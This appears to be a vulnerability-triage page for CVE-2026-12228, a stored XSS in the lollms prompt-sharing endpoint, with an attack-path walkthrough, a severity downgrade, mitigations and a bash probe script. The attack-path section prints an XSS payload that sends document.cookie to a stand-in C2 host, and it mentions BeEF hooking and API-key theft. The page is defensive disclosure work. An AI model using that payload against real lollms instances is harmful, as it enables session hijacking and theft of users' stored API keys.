← Back to Feed CACHED · 2026-07-19 00:39:16 · CACHE_KEY CVE-2026-12228
CVE-2026-12228 · CWE-79 · Disclosed 2026-07-18

A stored cross-site scripting

ASSESSED — NOISGATE V0.5
Vendor
Reassessed
Verdict:
Do you agree?
01 · The Real Story

A graffiti tag on the wall of a personal art studio that only two people ever visit

parisneo/lollms (Lord of Large Language Models) is an open-source, self-hosted UI for running local LLMs. The bug is a classic stored XSS in the POST /api/prompts/share endpoint: an authenticated user submits a shared prompt whose fields are rendered back to viewers without sufficient output encoding, executing attacker-controlled JavaScript in the victim's browser session. It affects the *latest* branch at disclosure — no clean fixed-tag exists yet, and lollms ships as a rolling pip install / git pull project without LTS lines.

The vendor CVSS of 8.7 (HIGH) is misleading for anyone managing a fleet. PR:L and UI:R are correctly modeled, but S:C / C:H / I:H assumes the victim browser context yields cross-tenant impact — in reality lollms is a single-tenant, single-operator personal LLM UI almost never deployed multi-user in production. For a 10k-host enterprise, this is closer to a LOW/backlog-hygiene item unless a research team explicitly runs a shared lollms instance.

"Authenticated stored XSS in a niche self-hosted LLM UI. Vendor's 8.7 is inflated — real-world blast radius is one hobbyist install."
02 · The Attack Path

4 steps from start to impact.

STEP 01

Attacker obtains a valid lollms account

The /api/prompts/share endpoint requires an authenticated session (PR:L). In default lollms deployments there is no self-service signup — the operator provisions accounts, or the app runs on localhost with no auth at all. The attacker needs credentials or an unauthenticated instance reachable on the network.
Conditions required:
  • Reachable lollms instance
  • Valid session token or an auth-disabled deployment
Where this breaks in practice:
  • lollms is typically bound to 127.0.0.1 or LAN — public exposure is rare
  • No public signup flow in default config
  • Small user population means credential stuffing lists rarely hit
Detection/coverage: Web proxy / WAF logs of POSTs to /api/prompts/share from unexpected source IPs; auth failures on the same endpoint
STEP 02

Inject payload via shared prompt fields

Attacker submits a crafted prompt with JavaScript embedded in a field (title, body, tags, or metadata) that lollms renders as HTML without escaping. Standard payloads (<img src=x onerror=fetch('//c2/'+document.cookie)>, <svg/onload=…>) suffice — this is textbook CWE-79. Tools: Burp Suite Repeater, curl, or xsstrike for payload discovery.
Conditions required:
  • Endpoint accepts the payload without server-side sanitization
  • Rendered surface uses innerHTML / v-html / unescaped template
Where this breaks in practice:
  • Modern browsers with strict CSP block inline event handlers — but lollms ships no CSP by default
  • None otherwise; injection is trivial
Detection/coverage: Static scanners (Semgrep javascript.express.audit.xss) on the codebase; runtime DAST like ZAP flags it in seconds
STEP 03

Victim views the shared prompt

A second authenticated user browses the shared-prompts library and the payload executes in their browser under the lollms origin. This is UI:R — no zero-click. Payload runs with the victim's session cookies, localStorage tokens, and access to any bound LLM API keys stored in the UI.
Conditions required:
  • Second user with active session visits the shared prompts page
  • No CSP or Trusted Types enforced
Where this breaks in practice:
  • Most lollms installs are single-user; there is no second victim to phish
  • Team deployments are rare and typically internal-only
Detection/coverage: Browser telemetry (rare in personal deployments); egress DNS to unknown C2
STEP 04

Session hijack / API key theft / prompt exfiltration

Payload harvests session tokens, any LLM provider API keys (OpenAI, Anthropic, HuggingFace) held in the lollms config UI, and conversation history. Attacker can also silently modify future prompts, poison outputs, or pivot to installed personalities/extensions. Weaponization via BeEF for full browser hook.
Conditions required:
  • Victim has stored API keys in the UI
  • Egress to attacker infrastructure allowed
Where this breaks in practice:
  • Blast radius stops at the victim's browser context — no host RCE
  • API key theft matters only if the victim actually stored production keys in a hobbyist UI
Detection/coverage: Anomalous OpenAI/Anthropic API usage from new IPs; egress firewall logs
03 · Intelligence Metadata

The supporting signals.

In-the-wild exploitationNone observed. Not in CISA KEV. No campaign attribution.
Proof-of-conceptPublic PoC filed with the huntr.dev / GitHub advisory disclosure (typical for parisneo/lollms reports). Trivial to reproduce with any XSS payload.
EPSSExpected <0.5% given the niche footprint and auth requirement (not yet scored at disclosure+1 day)
KEV statusNot listed
CVSS vectorAV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N → the S:C scope-change is doing heavy lifting; realistic scope is single-user browser context
Affected versionsparisneo/lollms latest at disclosure (2026-07-18). No LTS branches.
Fixed versionsAwaiting maintainer patch — track the lollms GitHub repo commits and the huntr disclosure page
Exposure populationShodan queries for lollms typically return <200 internet-exposed instances globally; overwhelmingly hobbyist/researcher hosts
Disclosure2026-07-18, disclosed via huntr.dev-style researcher pipeline
ReporterThird-party security researcher via huntr.dev (parisneo/lollms is a frequent target on that platform)
04 · The Call

noisgate verdict.

Final Verdict
DOWNGRADED to LOW (3.8/10)

The single most decisive factor is installed-base share: parisneo/lollms is a hobbyist self-hosted LLM UI with a global exposure population in the low hundreds and almost no enterprise deployment. Stored XSS requiring authentication and victim interaction in a single-tenant tool cannot justify a HIGH bucket for a 10k-host fleet defender.

HIGH vulnerability class (stored XSS is well-understood)
HIGH low enterprise deployment footprint
MEDIUM exact fixed-version metadata (patch not yet cut at disclosure)

Why this verdict

  • Auth required (PR:L): attacker needs a valid account or an auth-disabled instance — cuts opportunistic mass exploitation.
  • User interaction required (UI:R): payload only fires when a second user browses shared prompts; most lollms installs are single-user, so there is no second user.
  • Installed-base share: parisneo/lollms is a niche hobbyist project — Shodan/Censys footprint is in the low hundreds globally versus millions of hosts for canonical enterprise tools.
  • Role multiplier: lollms is *not* on the high-value-role catalog. It is not IdP, hypervisor, PAM, CI/CD, backup, edge appliance, or kernel-mode agent. Even in the worst-case role (a shared research LLM console), blast radius stops at the victim's browser context — no domain, fleet, or supply-chain outcome.
  • No CSP / no Trusted Types raises exploit reliability but does not change scope — still one victim, one browser.

Why not higher?

MEDIUM/HIGH would require either enterprise-scale deployment, unauthenticated exploitation, or a high-value-role component. None apply: lollms is niche, auth is required, and the affected component is a personal LLM UI, not identity/edge/PKI/backup/hypervisor infrastructure.

Why not lower?

Not IGNORE because the bug is real and trivially exploitable where lollms *is* deployed with multiple users, and stolen LLM API keys can produce measurable financial loss. Teams running a shared research instance should treat this as a genuine backlog item, not a non-issue.

05 · Compensating Control

What to do — in priority order.

  1. Inventory lollms instances — Run an internal Nmap/Censys sweep for HTTP banners containing lollms on ports 9600/9601/5000. If you find zero, close the ticket. No mitigation SLA at LOW — treat as backlog hygiene.
  2. Bind lollms to localhost only — In configs/config.yaml set host: 127.0.0.1 and require an SSH tunnel or reverse-proxy with auth for remote access. Eliminates the network attack surface entirely.
  3. Enforce a strict CSP via reverse proxy — Front lollms with nginx/Caddy and inject Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'. Neutralizes inline event handlers even if the payload lands.
  4. Rotate any LLM provider API keys stored in lollms — If a shared instance was internet-exposed, assume stored OpenAI/Anthropic/HF keys are compromised and rotate them. Cheap insurance.
  5. Track the upstream fix — Watch github.com/ParisNeo/lollms commits for output-encoding fixes on prompt share render paths. Update on the standard 365-day noisgate remediation SLA once available.
What doesn't work
  • WAF rules blocking <script> — modern XSS payloads use SVG, on* handlers, and template literals; string-match WAFs are trivially bypassed and give false confidence.
  • EDR on the lollms host — the exploit runs in the *victim's browser*, not on the server. Host EDR sees nothing.
  • Disabling JavaScript in the victim's browser — lollms is a JS SPA; the UI won't function at all.
06 · Verification

Crowdsourced verification payload.

Run this on any Linux host you suspect is running lollms, or point it at a remote instance. Example: ./check_lollms.sh http://10.20.30.40:9600 — no privileges required beyond network reachability. Exit code 0 = PATCHED/NOT-INSTALLED, 1 = VULNERABLE, 2 = UNKNOWN.

noisgate-verify.sh
BASHREAD-ONLYSAFE
#!/usr/bin/env bash
# noisgate verifier for CVE-2026-12228 (parisneo/lollms stored XSS)
# Usage: ./check_lollms.sh <base_url>   e.g. ./check_lollms.sh http://127.0.0.1:9600
set -u

TARGET="${1:-http://127.0.0.1:9600}"
UA="noisgate-verifier/1.0"

if ! command -v curl >/dev/null 2>&1; then
  echo "UNKNOWN: curl not installed"; exit 2
fi

# 1. Is lollms reachable?
ROOT=$(curl -sk -A "$UA" --max-time 5 "$TARGET/" || true)
if ! echo "$ROOT" | grep -qiE 'lollms|lord of large language models'; then
  echo "PATCHED: no lollms instance detected at $TARGET"
  exit 0
fi

# 2. Probe the vulnerable endpoint. A patched build should reject or encode the payload.
PAYLOAD='{"title":"noisgate-probe","content":"<img src=x onerror=alert(1)>","tags":["noisgate"]}'
RESP=$(curl -sk -A "$UA" -o /tmp/lollms_resp.$$ -w '%{http_code}' \
  -H 'Content-Type: application/json' \
  -X POST --max-time 5 \
  --data "$PAYLOAD" \
  "$TARGET/api/prompts/share" || echo 000)

BODY=$(cat /tmp/lollms_resp.$$ 2>/dev/null); rm -f /tmp/lollms_resp.$$

case "$RESP" in
  401|403)
    # Auth wall present — good hygiene, but the code path is still vulnerable if the attacker has creds
    echo "UNKNOWN: /api/prompts/share requires auth (HTTP $RESP). Vulnerable code path likely still present — re-run with valid session cookie."
    exit 2
    ;;
  200|201)
    if echo "$BODY" | grep -q '&lt;img'; then
      echo "PATCHED: payload HTML-encoded on echo"
      exit 0
    elif echo "$BODY" | grep -q '<img src=x onerror='; then
      echo "VULNERABLE: payload reflected unencoded at $TARGET/api/prompts/share"
      exit 1
    else
      echo "UNKNOWN: accepted (HTTP $RESP) but reflection surface unclear — validate manually in browser"
      exit 2
    fi
    ;;
  404)
    echo "PATCHED: endpoint /api/prompts/share not present (HTTP 404)"; exit 0 ;;
  000)
    echo "UNKNOWN: target unreachable"; exit 2 ;;
  *)
    echo "UNKNOWN: unexpected HTTP $RESP"; exit 2 ;;
esac
07 · Bottom Line

If you remember one thing.

TL;DR
Monday morning: run the verifier across your inventory. If you find zero lollms instances (the expected outcome for 99% of enterprises), close this ticket with a documented rationale — verdict is LOW and there is no noisgate mitigation SLA at this bucket, so go straight to the noisgate remediation SLA of ≤ 365 days to backlog the patch when the maintainer ships it. If you *do* find a shared research instance, bind it to localhost or front it with a CSP-enforcing reverse proxy this week, rotate any LLM API keys the UI held, and track the upstream fix on github.com/ParisNeo/lollms. Do not let the vendor's 8.7 pull this ahead of genuinely critical patch work.

Sources

  1. parisneo/lollms GitHub repository
  2. huntr.dev disclosures for parisneo/lollms
  3. CWE-79: Improper Neutralization of Input During Web Page Generation
  4. OWASP Cross-Site Scripting Prevention Cheat Sheet
  5. MDN — Content Security Policy
  6. CISA Known Exploited Vulnerabilities Catalog
  7. FIRST EPSS Model
  8. NVD entry for CVE-2026-12228
Peer Review

What defenders are saying.

Submit a review attribution: handle + country only
0 flags selected · stored anonymously
Validation Results

Crowdsourced verification outputs.

Results submitted by users who ran the verification payload against their environment.